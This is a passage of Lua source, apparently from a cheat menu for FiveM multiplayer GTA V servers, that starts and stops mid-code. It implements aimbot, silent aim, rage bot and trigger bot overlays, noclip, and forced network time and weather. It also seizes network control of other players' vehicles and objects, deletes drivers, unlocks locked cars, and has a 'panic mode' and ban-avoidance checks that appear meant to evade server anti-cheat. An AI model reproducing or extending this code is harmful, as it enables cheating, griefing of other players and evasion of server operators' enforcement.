SetVehicleHandlingFloat( vehicle, "CHandlingData", "fLowSpeedTractionLossMult", math.max(0.0, savedPowerHandling.fLowSpeedTractionLossMult - boostDelta * 0.1) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fAntiRollBarForce", savedPowerHandling.fAntiRollBarForce * (1.0 + boostDelta * 0.15) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionForce", savedPowerHandling.fSuspensionForce * (1.0 + boostDelta * 0.15) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSteeringLock", savedPowerHandling.fSteeringLock + boostDelta ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fCamberStiffnesss", savedPowerHandling.fCamberStiffnesss ) end end else restorePowerHandling(menu.vars.bools.easyHandling) end else restorePowerHandling(menu.vars.bools.easyHandling) end else restorePowerHandling(menu.vars.bools.easyHandling) end if menu.vars.bools.alwaysOnGround and not menu.vars.vanityWaterGlide then if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and GetPedInVehicleSeat(vehicle, -1) == playerPed then local hoverFlight = menu.vars.bools.vehicleHoverTest and hoverState.isVehicleHoverTestFlightActive(vehicle) if handlingVehicle ~= vehicle then restoreHoverVehicleHandling() captureHoverVehicleHandling(vehicle) end if not hoverFlight then applyHoverVehicleHandling(vehicle) disableVehicleCollisionsWithOtherVehicles(vehicle) if 0 < landingRecoveryFrames then applyHoverVehicleLandingDirection(vehicle) end local pitch, roll = table.unpack(GetEntityRotation(vehicle, 2)) updateHoverVehicleSpin(vehicle, pitch, roll, GetEntityVelocity(vehicle)) end waitTime = math.min(waitTime, 0) else restoreHoverVehicleHandling() end else restoreHoverVehicleHandling() end end if menu.vars.bools.vehicleHoverTest then hoverState.ensureVehicleHoverTestThread() else hoverState.stopVehicleHoverTestThread() end if menu.vars.bools.forceTime then if not forcedClockActive then savedClockHour = GetClockHours() savedClockMinute = GetClockMinutes() savedClockSecond = GetClockSeconds() forcedClockActive = true end if 1 < waitTime then waitTime = 1 end NetworkOverrideClockTime( menu.vars.sliders.forceTimeHour or 12, menu.vars.sliders.forceTimeMinute or 0, 0 ) elseif forcedClockActive then forcedClockActive = false if NetworkClearClockTimeOverride then NetworkClearClockTimeOverride() end if savedClockHour ~= nil and savedClockMinute ~= nil and savedClockSecond ~= nil then NetworkOverrideClockTime(savedClockHour, savedClockMinute, savedClockSecond) end savedClockHour = nil savedClockMinute = nil savedClockSecond = nil end if menu.vars.bools.forceWeather then if 1 < waitTime then waitTime = 1 end local weatherTypes = { "CLEAR", "EXTRASUNNY", "CLOUDS", "OVERCAST", "RAIN", "THUNDER", "CLEARING", "NEUTRAL", "SNOW", "BLIZZARD", "SNOWLIGHT", "XMAS", "HALLOWEEN" } local weather = weatherTypes[menu.vars.selectors.weatherType or 1] or "CLEAR" Ham.disableWeather(true) ClearWeatherTypePersist() SetWeatherTypeNow(weather) SetWeatherTypePersist(weather) SetWeatherTypeNowPersist(weather) SetOverrideWeather(weather) elseif menu.vars.lastForceWeatherState ~= false then ClearWeatherTypePersist() ClearOverrideWeather() menu.vars.lastForceWeatherState = false Ham.disableWeather(false) end if menu.vars.bools.forceWeather and menu.vars.lastForceWeatherState ~= true then menu.vars.lastForceWeatherState = true end Wait(waitTime) end menu.functions.clearVanityWaterPlatform() end pendingMenuEntry25 = runVehicleHoverTestThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runRainbowVehicleTimerThread() while _G.runmenu do local playerPed = PlayerPedId() local selectedMode = menu.vars.selectors.rainbowVehicle if selectedMode == 2 then if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then local elapsed = (GetGameTimer() - menu.vars.rainbowVehicleTimer) / 1000 local hue = elapsed * 0.2 % 1.0 local red, green, blue = menu.utils.HSVtoRGB(hue, 1.0, 1.0) SetVehicleCustomPrimaryColour(vehicle, red, green, blue) SetVehicleCustomSecondaryColour(vehicle, red, green, blue) for repeatIndex = 0, 5, 1 do SetVehicleExtraColours(vehicle, red, green) end end end Wait(50) elseif menu.vars.selectors.rainbowVehicle == 3 then if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then local elapsed = (GetGameTimer() - menu.vars.rainbowVehicleTimer) / 1000 local primaryHue = elapsed * 0.1 % 1.0 local secondaryHue = (elapsed * 0.1 + 0.33) % 1.0 local primaryRed, primaryGreen, primaryBlue = menu.utils.HSVtoRGB(primaryHue, 1.0, 1.0) local secondaryRed, secondaryGreen, secondaryBlue = menu.utils.HSVtoRGB(secondaryHue, 1.0, 1.0) SetVehicleCustomPrimaryColour(vehicle, primaryRed, primaryGreen, primaryBlue) SetVehicleCustomSecondaryColour(vehicle, secondaryRed, secondaryGreen, secondaryBlue) end end Wait(50) else Wait(1000) end end end pendingMenuEntry25 = runRainbowVehicleTimerThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = menu.functions do local function getNoclipAnimation() if not menu.vars.bools.noclipModeEnabled then return { dict = nil, anim = nil, name = "Disabled" } end local mode = menu.vars.selectors and menu.vars.selectors.noclipMode or 1 if mode < 4 then return { dict = nil, anim = nil, name = "Disabled" } end local animations = { { dict = "rcmepsilonism3", anim = "ep_3_rcm_marnie_meditating", name = "Aladdin", prop = "ex_mp_h_acc_rugwoolm_04", propOffset = { 0.0, 0.0, -0.1, 0.0, 0.0, 0.0 } }, { dict = "move_strafe@stealth", anim = "idle", name = "Skateboard", prop = "v_res_skateboard", propOffset = { 0.0, -0.12, -0.97, 0.0, 0.0, 0.0 } }, { dict = "swimming@first_person@swimming", anim = "run_turn_r2", name = "Swim" }, { dict = "dead@fall", anim = "dead_fall_down", name = "Fall" }, { dict = "skydive@freefall", anim = "free_forward_anim", name = "Freefall" }, { dict = "amb@world_human_push_ups@male@base", anim = "base", name = "Pushups" }, { dict = "amb@world_human_yoga@male@base", anim = "base_a", name = "Yoga" }, { dict = "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@", anim = "high_center", name = "Dance High" }, { dict = "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@", anim = "high_center_down", name = "Dance Down" }, { dict = "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@", anim = "high_center_up", name = "Dance Up" }, { dict = "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@", anim = "low_center", name = "Dance Low" }, { dict = "anim@mp_player_intcelebrationmale@uncle_disco", anim = "uncle_disco", name = "Uncle Disco" }, { dict = "anim@mp_player_intcelebrationmale@raise_the_roof", anim = "raise_the_roof", name = "Raise Roof" }, { dict = "anim@mp_player_intcelebrationmale@dj", anim = "dj", name = "DJ" }, { dict = "anim@mp_player_intcelebrationmale@air_synth", anim = "air_synth", name = "Air Synth" }, { dict = "amb@world_human_stand_impatient@male@no_sign@base", anim = "base", name = "Impatient" } } return animations[mode - 3] or animations[1] end pendingMenuEntry26 = getNoclipAnimation end pendingMenuEntry24.getNoclipAnimation = pendingMenuEntry26 pendingMenuEntry24 = Citizen.CreateThread do local function runNoclipThread() local noclipWasActive = false local activeAnimationName = nil local noclipProp = nil local noclipPropModel = nil local playerPed local function deleteNoclipProp() if noclipProp and DoesEntityExist(noclipProp) then DeleteObject(noclipProp) end noclipProp = nil noclipPropModel = nil end local function attachNoclipProp(modelName, entity, offsets) if noclipPropModel == modelName and noclipProp and DoesEntityExist(noclipProp) then return end deleteNoclipProp() local modelHash = GetHashKey(modelName) RequestModel(modelHash) local deadline = GetGameTimer() + 5000 while not HasModelLoaded(modelHash) and deadline > GetGameTimer() do Wait(10) end if HasModelLoaded(modelHash) then local offsetX = offsets and offsets[1] or 0.0 local offsetY = offsets and offsets[2] or 0.0 local offsetZ = offsets and offsets[3] or -0.1 local rotationX = offsets and offsets[4] or 0.0 local rotationY = offsets and offsets[5] or 0.0 local rotationZ = offsets and offsets[6] or 0.0 local coords = GetEntityCoords(entity) noclipProp = CreateObject(modelHash, coords.x, coords.y, coords.z + offsetZ, false, false, false) AttachEntityToEntity( noclipProp, entity, 0, offsetX, offsetY, offsetZ, rotationX, rotationY, rotationZ, false, false, false, false, 2, true ) noclipPropModel = modelName SetModelAsNoLongerNeeded(modelHash) end end while _G.runmenu == true do local waitTime = 50 playerPed = PlayerPedId() if menu.vars.bools.noclip then waitTime = 0 noclipWasActive = true if Ham and Ham.noClip then Ham.noClip(true) end if menu.vars._noclipEnterFrames and 0 < menu.vars._noclipEnterFrames then ClearPedTasksImmediately(playerPed) menu.vars._noclipEnterFrames = menu.vars._noclipEnterFrames - 1 elseif IsPedJumping(playerPed) or IsPedFalling(playerPed) then ClearPedTasksImmediately(playerPed) end if menu.functions and menu.functions.applyNoclipCameraRotation then menu.functions.applyNoclipCameraRotation(playerPed) end local weaponWheelPressed = IsControlPressed(0, 37) or IsDisabledControlPressed(0, 37) local animation = menu.functions.getNoclipAnimation() if animation.dict and animation.anim and not weaponWheelPressed then if not IsPedInAnyVehicle(playerPed, false) then local needsAnimation = not IsEntityPlayingAnim(playerPed, animation.dict, animation.anim, 3) if activeAnimationName and activeAnimationName ~= animation.name then ClearPedTasks(playerPed) Wait(100) needsAnimation = true end if needsAnimation then RequestAnimDict(animation.dict) local deadline = GetGameTimer() + 5000 while not HasAnimDictLoaded(animation.dict) and deadline > GetGameTimer() do Wait(10) end if HasAnimDictLoaded(animation.dict) then ClearPedTasks(playerPed) Wait(50) TaskPlayAnim( playerPed, animation.dict, animation.anim, 8.0, -8.0, -1, 1, 0, false, false, false ) activeAnimationName = animation.name end end if animation.prop then attachNoclipProp(animation.prop, playerPed, animation.propOffset) else deleteNoclipProp() end else deleteNoclipProp() end else deleteNoclipProp() end elseif noclipWasActive then local animation = menu.functions.getNoclipAnimation() if animation.dict and animation.anim and IsEntityPlayingAnim(playerPed, animation.dict, animation.anim, 3) then ClearPedTasks(playerPed) activeAnimationName = nil end deleteNoclipProp() noclipWasActive = false end Wait(waitTime) end end pendingMenuEntry25 = runNoclipThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = CreateThread do local function runRageBotThread() while _G.runmenu == true do local screenWidth, screenHeight = Ham.getResolution() local centerX = screenWidth * 0.5 local centerY = screenHeight * 0.5 local minimumScreenDimension = math.min(screenWidth, screenHeight) local carryPlayerPed = PlayerPedId() local playerPosition = GetEntityCoords(carryPlayerPed) if not menu.vars.panicMode and menu.vars.bools.rageBot and menu.vars.bools.rageBotShowFov then local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.rageBotFov or 50) local rgb = menu.utils.getFovPickerRgb("rageBotFovColor") Ham.drawCircle({ centerX, centerY, radius }, { rgb[1], rgb[2], rgb[3], 160 }, 64, 1.5, false) end if not menu.vars.panicMode and menu.vars.bools.aimbot and (menu.vars.bools.aimbotShowFov or menu.vars.bools.aimbotFillFov) then local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.aimbotFov or 40) local circle = { centerX, centerY, radius } local rgb = menu.utils.getFovPickerRgb("aimbotFovColor") local outlineColor = { rgb[1], rgb[2], rgb[3], 160 } local opacity = math.floor(math.max(0, math.min(255, menu.vars.sliders.aimbotFovFillOpacity or 45))) local fillRgb = menu.vars.colorPickers.aimbotFovFillColor and menu.utils.getFovPickerRgb("aimbotFovFillColor") or rgb local fillColor = { fillRgb[1], fillRgb[2], fillRgb[3], opacity } if menu.vars.bools.aimbotFillFov and 0 < opacity then Ham.drawCircle(circle, fillColor, 64, 1.0, true) end if menu.vars.bools.aimbotShowFov then Ham.drawCircle(circle, outlineColor, 64, 1.5, false) end end if not menu.vars.panicMode and menu.vars.bools.silentAim and (menu.vars.bools.silentAimShowFov or menu.vars.bools.silentAimFillFov) then local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.silentAimFov or 40) local circle = { centerX, centerY, radius } local rgb = menu.utils.getFovPickerRgb("silentAimFovColor") local outlineColor = { rgb[1], rgb[2], rgb[3], 160 } local opacity = math.floor(math.max(0, math.min(255, menu.vars.sliders.silentAimFovFillOpacity or 45))) local fillRgb = menu.vars.colorPickers.silentAimFovFillColor and menu.utils.getFovPickerRgb("silentAimFovFillColor") or rgb local fillColor = { fillRgb[1], fillRgb[2], fillRgb[3], opacity } if menu.vars.bools.silentAimFillFov and 0 < opacity then Ham.drawCircle(circle, fillColor, 64, 1.0, true) end if menu.vars.bools.silentAimShowFov then Ham.drawCircle(circle, outlineColor, 64, 1.5, false) end end if not menu.vars.panicMode and menu.vars.bools.poisonAttack then local radius = 140 / 1000 * minimumScreenDimension Ham.drawCircle({ centerX, centerY, radius }, { 255, 255, 255, 200 }, 64, 1.5, false) end if not menu.vars.panicMode and menu.vars.bools.punchMode then local radius = 140 / 1000 * minimumScreenDimension Ham.drawCircle({ centerX, centerY, radius }, { 255, 255, 255, 200 }, 64, 1.5, false) end if not menu.vars.panicMode and menu.vars.bools.silentKillMode then local radius = 130 / 1000 * minimumScreenDimension Ham.drawCircle({ centerX, centerY, radius }, { 255, 255, 255, 200 }, 64, 1.5, false) end if (menu.vars.bools.carryVehicle or menu.vars.carryAttachedVeh) and not menu.vars.bools.physgun and not menu.vars.carryAttachedObj then if menu.utils.isServer151VehicleBlocked() then menu.vars.bools.carryVehicle = false menu.utils.notifyBanBlocked() else local vehicles = GetGamePool("CVehicle") local selectedCarryVehicle repeat local nearestCarryVehicle local nearestDistance = 9999.0 if menu.vars.carryAttachedVeh == nil then for _, vehicle in ipairs(vehicles) do if DoesEntityExist(vehicle) then local distance = #(playerPosition - GetEntityCoords(vehicle)) if nearestDistance > distance and 30.0 > distance then nearestDistance = distance nearestCarryVehicle = vehicle end end end if nearestCarryVehicle ~= nil and DoesEntityExist(nearestCarryVehicle) then local position = GetEntityCoords(nearestCarryVehicle) GetEntityHeightAboveGround(nearestCarryVehicle) local labelPosition = vector3(position.x, position.y, position.z + 0.2) local onScreen, screenX, screenY = Ham.worldToScreen(labelPosition.x, labelPosition.y, labelPosition.z) if onScreen and screenX and screenY then Ham.drawText( "[E] to carry", { screenX, screenY }, { 255, 255, 255, 255 }, 15, true, true, { 0, 0, 0, 200 } ) end end end if not IsControlJustPressed(0, 38) then break end if menu.vars.carryAttachedVeh ~= nil and DoesEntityExist(menu.vars.carryAttachedVeh) then local cameraRotation = GetFinalRenderedCamRot(2) local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) DetachEntity(menu.vars.carryAttachedVeh, true, true) ClearPedTasks(carryPlayerPed) menu.vars.carryAnimActive = false local throwForce = 100.0 if menu.vars.selectors.carryThrowForce == 2 then throwForce = 10000.0 end ApplyForceToEntity( menu.vars.carryAttachedVeh, 1, direction.x * throwForce, direction.y * throwForce, direction.z * throwForce, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) menu.vars.carryAttachedVeh = nil Wait(100) break end if menu.vars.carryAttachedVeh ~= nil or nearestCarryVehicle == nil or not DoesEntityExist(nearestCarryVehicle) then break end menu.vars.carryOldCoords = playerPosition if GetPedInVehicleSeat(nearestCarryVehicle, 0) ~= 0 then break end TaskWarpPedIntoVehicle(carryPlayerPed, nearestCarryVehicle, 0) Citizen.SetTimeout(50, function() local driver = GetPedInVehicleSeat(nearestCarryVehicle, -1) if driver ~= 0 then DeleteEntity(driver) end end) Citizen.SetTimeout(100, function() TaskWarpPedIntoVehicle(carryPlayerPed, nearestCarryVehicle, -1) end) Citizen.SetTimeout(700, function() ClearPedTasks(carryPlayerPed) SetEntityCoordsNoOffset( carryPlayerPed, menu.vars.carryOldCoords.x, menu.vars.carryOldCoords.y, menu.vars.carryOldCoords.z, false, false, false ) menu.vars.carryAttachedVeh = nearestCarryVehicle SetEntityCoordsNoOffset( menu.vars.carryAttachedVeh, menu.vars.carryOldCoords.x, menu.vars.carryOldCoords.y, menu.vars.carryOldCoords.z, false, false, false ) if not NetworkGetEntityIsNetworked(carryPlayerPed) then NetworkRegisterEntityAsNetworked(carryPlayerPed) end NetworkRequestControlOfEntity(carryPlayerPed) if not NetworkGetEntityIsNetworked(menu.vars.carryAttachedVeh) then NetworkRegisterEntityAsNetworked(menu.vars.carryAttachedVeh) end NetworkRequestControlOfEntity(menu.vars.carryAttachedVeh) AttachEntityToEntity( menu.vars.carryAttachedVeh, carryPlayerPed, 0, 0.0, 0.0, 1.5, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) startCarryAnimation() end) break until true Citizen.CreateThread(function() TaskEnterVehicle(carryPlayerPed, selectedCarryVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(1500) ClearPedTasks(carryPlayerPed) SetEntityCoords( carryPlayerPed, menu.vars.carryOldCoords.x, menu.vars.carryOldCoords.y, menu.vars.carryOldCoords.z, false, false, false, true ) Citizen.Wait(200) menu.vars.carryAttachedVeh = selectedCarryVehicle SetEntityCoordsNoOffset( menu.vars.carryAttachedVeh, menu.vars.carryOldCoords.x, menu.vars.carryOldCoords.y, menu.vars.carryOldCoords.z, false, false, false ) if not NetworkGetEntityIsNetworked(carryPlayerPed) then NetworkRegisterEntityAsNetworked(carryPlayerPed) end NetworkRequestControlOfEntity(carryPlayerPed) if not NetworkGetEntityIsNetworked(menu.vars.carryAttachedVeh) then NetworkRegisterEntityAsNetworked(menu.vars.carryAttachedVeh) end NetworkRequestControlOfEntity(menu.vars.carryAttachedVeh) AttachEntityToEntity( menu.vars.carryAttachedVeh, carryPlayerPed, 0, 0.0, 0.0, 1.5, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(200) startCarryAnimation() end) end end if (menu.vars.bools.carryObjects or menu.vars.carryAttachedObj) and not menu.vars.bools.physgun and not menu.vars.carryAttachedVeh then local objects = GetGamePool("CObject") local nearestObject local nearestDistance = 9999.0 if menu.vars.carryAttachedObj == nil then for _, object in ipairs(objects) do if DoesEntityExist(object) and not IsEntityAttached(object) then local distance = #(playerPosition - GetEntityCoords(object)) if nearestDistance > distance and 15.0 > distance then nearestDistance = distance nearestObject = object end end end if nearestObject ~= nil and DoesEntityExist(nearestObject) then local position = GetEntityCoords(nearestObject) local labelPosition = vector3(position.x, position.y, position.z + 0.35) local onScreen, screenX, screenY = Ham.worldToScreen(labelPosition.x, labelPosition.y, labelPosition.z) if onScreen and screenX and screenY then Ham.drawText( "[E] to carry", { screenX, screenY }, { 255, 255, 255, 255 }, 15, true, true, { 0, 0, 0, 200 } ) end end end if IsControlJustPressed(0, 38) then if menu.vars.carryAttachedObj ~= nil and DoesEntityExist(menu.vars.carryAttachedObj) then local cameraRotation = GetFinalRenderedCamRot(2) local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) DetachEntity(menu.vars.carryAttachedObj, true, true) ClearPedTasks(carryPlayerPed) menu.vars.carryAnimActive = false local throwForce = 100.0 if menu.vars.selectors.carryThrowForce == 2 then throwForce = 10000.0 end ApplyForceToEntity( menu.vars.carryAttachedObj, 1, direction.x * throwForce, direction.y * throwForce, direction.z * throwForce, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) menu.vars.carryAttachedObj = nil Wait(100) elseif menu.vars.carryAttachedObj == nil and nearestObject ~= nil and DoesEntityExist(nearestObject) then menu.vars.carryOldCoords = playerPosition if not NetworkGetEntityIsNetworked(carryPlayerPed) then NetworkRegisterEntityAsNetworked(carryPlayerPed) end NetworkRequestControlOfEntity(carryPlayerPed) if not NetworkGetEntityIsNetworked(nearestObject) then NetworkRegisterEntityAsNetworked(nearestObject) end NetworkRequestControlOfEntity(nearestObject) menu.vars.carryAttachedObj = nearestObject AttachEntityToEntity( nearestObject, carryPlayerPed, 0, 0.0, 0.0, 1.5, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) startCarryAnimation() end end end if not menu.vars.panicMode and not IsPedInAnyVehicle(carryPlayerPed, false) then local nearbyLockedVehicle local nearestDistance = 2.0 for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) then local lockStatus = GetVehicleDoorLockStatus(vehicle) if lockStatus ~= 0 and lockStatus ~= 1 then local distance = #(playerPosition - GetEntityCoords(vehicle)) if nearestDistance > distance then nearestDistance = distance nearbyLockedVehicle = vehicle end end end end if nearbyLockedVehicle and DoesEntityExist(nearbyLockedVehicle) then local minimum, maximum = GetModelDimensions(GetEntityModel(nearbyLockedVehicle)) local minimumZ = minimum and minimum.z or -0.5 local maximumZ = maximum and maximum.z or 0.5 local labelPosition = GetOffsetFromEntityInWorldCoords(nearbyLockedVehicle, 0.0, 0.0, (minimumZ + maximumZ) * 0.5) local onScreen, screenX, screenY = Ham.worldToScreen(labelPosition.x, labelPosition.y, labelPosition.z) if onScreen and screenX and screenY then Ham.drawText( "Press L to unlock", { screenX, screenY }, { 0, 255, 0, 255 }, 15, true, true, { 0, 0, 0, 200 } ) end local unlockPressed = false if ImGuiKey.L then unlockPressed = Ham.isKeyReleased(ImGuiKey.L) or Ham.isKeyPressed(ImGuiKey.L) end if unlockPressed then local currentTime = GetGameTimer() if not menu.vars.lastPressLUnlock or 400 < currentTime - menu.vars.lastPressLUnlock then menu.vars.lastPressLUnlock = currentTime local vehicleToUnlock = nearbyLockedVehicle Citizen.CreateThread(function() if menu.functions and menu.functions.unlockVehicleEntity then menu.functions.unlockVehicleEntity(vehicleToUnlock, true) end end) end end end end Wait(0) end end pendingMenuEntry25 = runRageBotThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runSelectedPlayerLineThread() while _G.runmenu == true do local delay = menu.vars.panicMode and 50 or 2500 local freecamActive = menu.vars.freecamMenuActive if not freecamActive then freecamActive = menu.vars.bools.freecam == true end local lineEnabled = menu.vars.bools.drawSelectedPlayerLine == true if not menu.vars.panicMode and (freecamActive or lineEnabled) then delay = 1 menu.utils.drawSelectedPlayerLine() end Wait(delay) end end pendingMenuEntry25 = runSelectedPlayerLineThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runDrawSelectedPlayerInfoThread() local nextRefresh = 0 local wasInOnlineOptions = false while _G.runmenu == true do local delay = 100 local inOnlineOptions = false local navigationStack = menu.vars.navigationStack if navigationStack and 0 < #navigationStack then for index = 1, #navigationStack, 1 do local page = navigationStack[index] if page and page.title == "Online Options" then inOnlineOptions = true break end end end local busy = menu.vars.initLoading if busy then busy = menu.vars.initLoading.active end if not busy then busy = menu.vars.initSetupActive if not busy then busy = menu.vars.isBindingKey end end if menu.vars.bools.drawSelectedPlayerInfo == true and inOnlineOptions and menu.vars.visible == true and not busy then delay = 0 if not wasInOnlineOptions and menu.logic and menu.logic.updatePlayerList then menu.logic.updatePlayerList() end local hasSelectedPlayer = menu.vars.selectedPlayer if hasSelectedPlayer then hasSelectedPlayer = menu.vars.selectedPlayer.serverId ~= nil end local currentTime = GetGameTimer() if not hasSelectedPlayer and nextRefresh <= currentTime then nextRefresh = currentTime + 500 if menu.logic and menu.logic.updatePlayerList then menu.logic.updatePlayerList() end end menu.utils.drawSelectedPlayerInfo() else nextRefresh = 0 if menu.vars.playerInfoListMode then menu.vars.playerInfoListMode = false end end wasInOnlineOptions = inOnlineOptions Wait(delay) end end pendingMenuEntry25 = runDrawSelectedPlayerInfoThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runSelectedVehicleLineThread() while _G.runmenu == true do local delay = menu.vars.panicMode and 50 or 2500 local freecamActive = menu.vars.freecamMenuActive if not freecamActive then freecamActive = menu.vars.bools.freecam == true end local lineEnabled = menu.vars.bools.drawSelectedVehicleLine == true if not menu.vars.panicMode and (freecamActive or lineEnabled) then delay = 1 menu.utils.drawSelectedVehicleLine() end Wait(delay) end end pendingMenuEntry25 = runSelectedVehicleLineThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = Citizen.CreateThread do local function runPhysgunThread() local holdingVehicle = false local acquiringVehicle = false local heldVehicle = nil local holdDistance = 15 local distanceStep = 3 local fullCollisionEnabled = false while _G.runmenu do local waitTime = 2500 if menu.vars.bools.physgun then local playerPed = PlayerPedId() waitTime = 0 local hoveredVehicle = menu.utils.getVehicleFromRaycast() if not holdingVehicle and hoveredVehicle ~= nil and DoesEntityExist(hoveredVehicle) then local position = GetEntityCoords(hoveredVehicle) GetEntityHeightAboveGround(hoveredVehicle) local labelPosition = vector3(position.x, position.y, position.z + 0.2) local onScreen, screenX, screenY = Ham.worldToScreen(labelPosition.x, labelPosition.y, labelPosition.z) if onScreen and screenX and screenY then Ham.drawText( "[E] for physgun", { screenX, screenY }, { 255, 255, 255, 255 }, 15, true, true, { 0, 0, 0, 200 } ) end end local pickupPressed = Ham.isKeyPressed(ImGuiKey.E) if pickupPressed and not holdingVehicle and not acquiringVehicle and hoveredVehicle ~= nil and DoesEntityExist(hoveredVehicle) and IsEntityAVehicle(hoveredVehicle) then local vehicleForPickup = hoveredVehicle acquiringVehicle = true Citizen.CreateThread(function() if not DoesEntityExist(vehicleForPickup) then acquiringVehicle = false return end local playerPed = PlayerPedId() local originalPosition = GetEntityCoords(playerPed) menu.utils.withTempPlayerInvisibility(function() if not IsVehicleSeatFree(vehicleForPickup, -1) then TaskEnterVehicle(playerPed, vehicleForPickup, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, vehicleForPickup, -1) Citizen.Wait(1500) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) local seatDeadline = GetGameTimer() + 1000 while DoesEntityExist(vehicleForPickup) and not IsVehicleSeatFree(vehicleForPickup, -1) and seatDeadline > GetGameTimer() do Citizen.Wait(10) end end if not DoesEntityExist(vehicleForPickup) or not IsVehicleSeatFree(vehicleForPickup, -1) then acquiringVehicle = false return end TaskWarpPedIntoVehicle(playerPed, vehicleForPickup, -1) Citizen.Wait(122) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) if not NetworkGetEntityIsNetworked(vehicleForPickup) then NetworkRegisterEntityAsNetworked(vehicleForPickup) end local controlDeadline = GetGameTimer() + 750 while DoesEntityExist(vehicleForPickup) and not NetworkHasControlOfEntity(vehicleForPickup) and controlDeadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicleForPickup) Citizen.Wait(10) end if not DoesEntityExist(vehicleForPickup) or not NetworkHasControlOfEntity(vehicleForPickup) then acquiringVehicle = false return end heldVehicle = vehicleForPickup holdingVehicle = true SetEntityInvincible(heldVehicle, true) SetEntityCollision(heldVehicle, false, false) SetEntityAlpha(heldVehicle, 200, false) acquiringVehicle = false end) end) end if holdingVehicle then DisableControlAction(0, 37, true) DisableControlAction(0, 157, true) DisableControlAction(0, 158, true) DisableControlAction(0, 159, true) DisableControlAction(0, 160, true) DisableControlAction(0, 161, true) DisableControlAction(0, 162, true) DisableControlAction(0, 163, true) DisableControlAction(0, 164, true) DisableControlAction(0, 165, true) end if holdingVehicle and DoesEntityExist(heldVehicle) then local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) if menu.utils.isPhysgunFullCollisionTogglePressed() then fullCollisionEnabled = not fullCollisionEnabled end if IsControlJustPressed(0, 241) then holdDistance = math.min(50.0, holdDistance + distanceStep) end if IsControlJustPressed(0, 242) then holdDistance = math.max(2.0, holdDistance - distanceStep) end local targetPosition = cameraPosition + direction * holdDistance menu.utils.applyPhysgunHoldToEntity( heldVehicle, targetPosition, cameraRotation, fullCollisionEnabled ) if menu.drawing and menu.drawing.drawDescriptionBar then menu.drawing.drawDescriptionBar( menu.utils.getPhysgunHoldDescription(fullCollisionEnabled), 0, 0, 0, {}, 0, true ) end if Ham.isKeyPressed(ImGuiKey.MouseRight) then menu.utils.releasePhysgunEntity(heldVehicle, direction, 300.0, fullCollisionEnabled) holdingVehicle = false heldVehicle = nil holdDistance = 15 end end end Citizen.Wait(waitTime) end end pendingMenuEntry25 = runPhysgunThread end pendingMenuEntry24(pendingMenuEntry25) triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false function resetTriggerBotTracking() triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false end function isTriggerBotInputActive() if not menu.vars or not menu.vars.bools or not menu.vars.bools.triggerBotHoldKey then return true end local keyName = menu.vars.hotkeyBinds if keyName then keyName = menu.vars.hotkeyBinds.TRIGGER_BOT_KEY end if not keyName or keyName == "" or keyName == "None" or keyName == "NONE" then return false end local key = ImGuiKey if key then key = ImGuiKey[keyName] end if key and Ham.isKeyDown then local pressed = Ham.isKeyDown(key) if pressed then return pressed end end return false end Citizen.CreateThread(function() while _G.runmenu do local waitTime = 2500 repeat if not menu.vars.bools.triggerBot or menu.vars.panicMode then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end waitTime = 1 if not isTriggerBotInputActive() then resetTriggerBotTracking() break end local playerPed = PlayerPedId() local playerPosition = GetEntityCoords(playerPed) if 